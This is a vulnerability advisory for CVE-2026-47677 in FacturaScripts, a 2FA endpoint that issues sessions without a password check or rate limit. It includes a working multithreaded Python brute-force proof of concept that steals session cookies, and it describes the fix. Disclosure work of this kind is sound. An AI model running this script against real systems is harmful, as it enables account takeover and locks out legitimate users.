criticalCVE-2026-47677Jul 13, 2026

CVE-2026-47677: FacturaScripts 2FA Endpoint Authentication Bypass and Account Takeover

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

FacturaScripts lets an unauthenticated attacker take over any account that has two-factor authentication enabled, by brute-forcing a rate-limit-free login endpoint that never checks the user's passwor

Packagefacturascripts/facturascripts
Ecosystemcomposer
Affected<= 2026.2
Fixed in2026.3

The problem

The `twoFactorValidationAction()` handler in `Core/Controller/Login.php` accepts a POST with only a username and a six-digit TOTP code. It issues a full authenticated session on success without ever verifying that the user completed the password step first.

The handler also skips the CSRF token check and the rate-limit guard (`userHasManyIncidents()`) that every other action in the same file calls. Combined with `TwoFactorManager::VERIFICATION_WINDOW = 8`, roughly 17 codes are valid at any moment, making a brute-force feasible from a single IP in minutes.

A side effect of generating six failed attempts locks the real user out of `loginAction` for ten minutes, giving attackers a free targeted denial-of-service as well.

Proof of concept

A working proof-of-concept for CVE-2026-47677 in facturascripts/facturascripts, with the exact payload below.

python
#!/usr/bin/env python3
# pip install requests
# Usage: BASE=https://target NICK=admin THREADS=32 python poc_2fa_brute.py
import os, sys, time, random, threading, requests

BASE      = os.environ.get("BASE",      "http://localhost:9999")
NICK      = os.environ.get("NICK",      "admin")
THREADS   = int(os.environ.get("THREADS",   "32"))
MAX_TRIES = int(os.environ.get("MAX_TRIES", "200000"))

hit = threading.Event()
attempt_count = [0]
lock = threading.Lock()
start = time.time()
result = {}

def worker(tid: int) -> None:
    s = requests.Session()
    while not hit.is_set():
        with lock:
            n = attempt_count[0]
            if n >= MAX_TRIES:
                return
            attempt_count[0] += 1
        code = f"{random.randint(0, 999999):06d}"
        try:
            r = s.post(f"{BASE}/login",
                       data={"action": "two-factor-validation",
                             "fsNick":  NICK,
                             "fsTwoFactorCode": code},
                       allow_redirects=False, timeout=5)
        except requests.RequestException:
            continue
        sc = r.headers.get("Set-Cookie", "")
        if r.status_code == 302 and "fsLogkey" in sc:
            with lock:
                if hit.is_set():
                    return
                hit.set()
                result["code"]    = code
                result["n"]       = n
                result["cookies"] = {c.name: c.value for c in r.cookies}
            return

def main() -> int:
    print(f"[*] target={BASE}  nick={NICK}  threads={THREADS}")
    threads = [threading.Thread(target=worker, args=(i,), daemon=True)
               for i in range(THREADS)]
    for t in threads: t.start()
    while not hit.is_set() and attempt_count[0] < MAX_TRIES:
        time.sleep(2)
        elapsed = time.time() - start
        print(f"  [{elapsed:5.1f}s] attempts={attempt_count[0]:>7d}  "
              f"rps={attempt_count[0]/max(elapsed,1):.0f}", flush=True)
    for t in threads: t.join()
    elapsed = time.time() - start
    if hit.is_set():
        print(f"\n[+] FOUND code={result['code']} after {result['n']:,} attempts in {elapsed:.1f}s")
        cookie_hdr = "; ".join(f"{k}={v}" for k, v in result["cookies"].items())
        print(f"[+] Cookies: {cookie_hdr}")
        print(f"\n    curl --cookie '{cookie_hdr}' {BASE}/ListUser")
        return 0
    print(f"[-] {attempt_count[0]:,} attempts in {elapsed:.1f}s, no hit")
    return 1

if __name__ == "__main__":
    sys.exit(main())

The root cause is that `twoFactorValidationAction()` is a self-contained unauthenticated login path: no password check, no CSRF token (`validateFormToken()` is skipped), and no incident pre-check (`userHasManyIncidents()` is skipped). Every other action handler in the same file calls those two guards before doing any work.

The excessive `VERIFICATION_WINDOW = 8` in `TwoFactorManager.php` (google2fa's default is 1) means 17 distinct six-digit codes are simultaneously valid, each live for roughly four minutes. The math puts 50% success probability at around 40,800 guesses, achievable in two to three minutes at 400 RPS from one IP.

The patch (v2026.3) adds a pending-login nonce written by `loginAction` after password verification succeeds, adds `validateFormToken()` and `userHasManyIncidents()` calls to the top of `twoFactorValidationAction()`, and reduces `VERIFICATION_WINDOW` from 8 to 1.

CWE-287 (Improper Authentication) applies because the server grants a session based on a single factor that is independently brute-forceable with no binding to a prior authenticated step.

The fix

Update to FacturaScripts 2026.3 or later. The release adds four independent controls: a short-lived nonce that binds the 2FA step to a completed password step, CSRF validation on the 2FA handler, rate-limit pre-checking on the 2FA handler, and a reduced TOTP window (`VERIFICATION_WINDOW = 1`).

Any single one of these changes significantly raises the bar; all four together close the attack path. Reference: https://github.com/NeoRazorX/facturascripts/releases/tag/v2026.3

Reporter not attributed.

References: [1][2][3]

Related research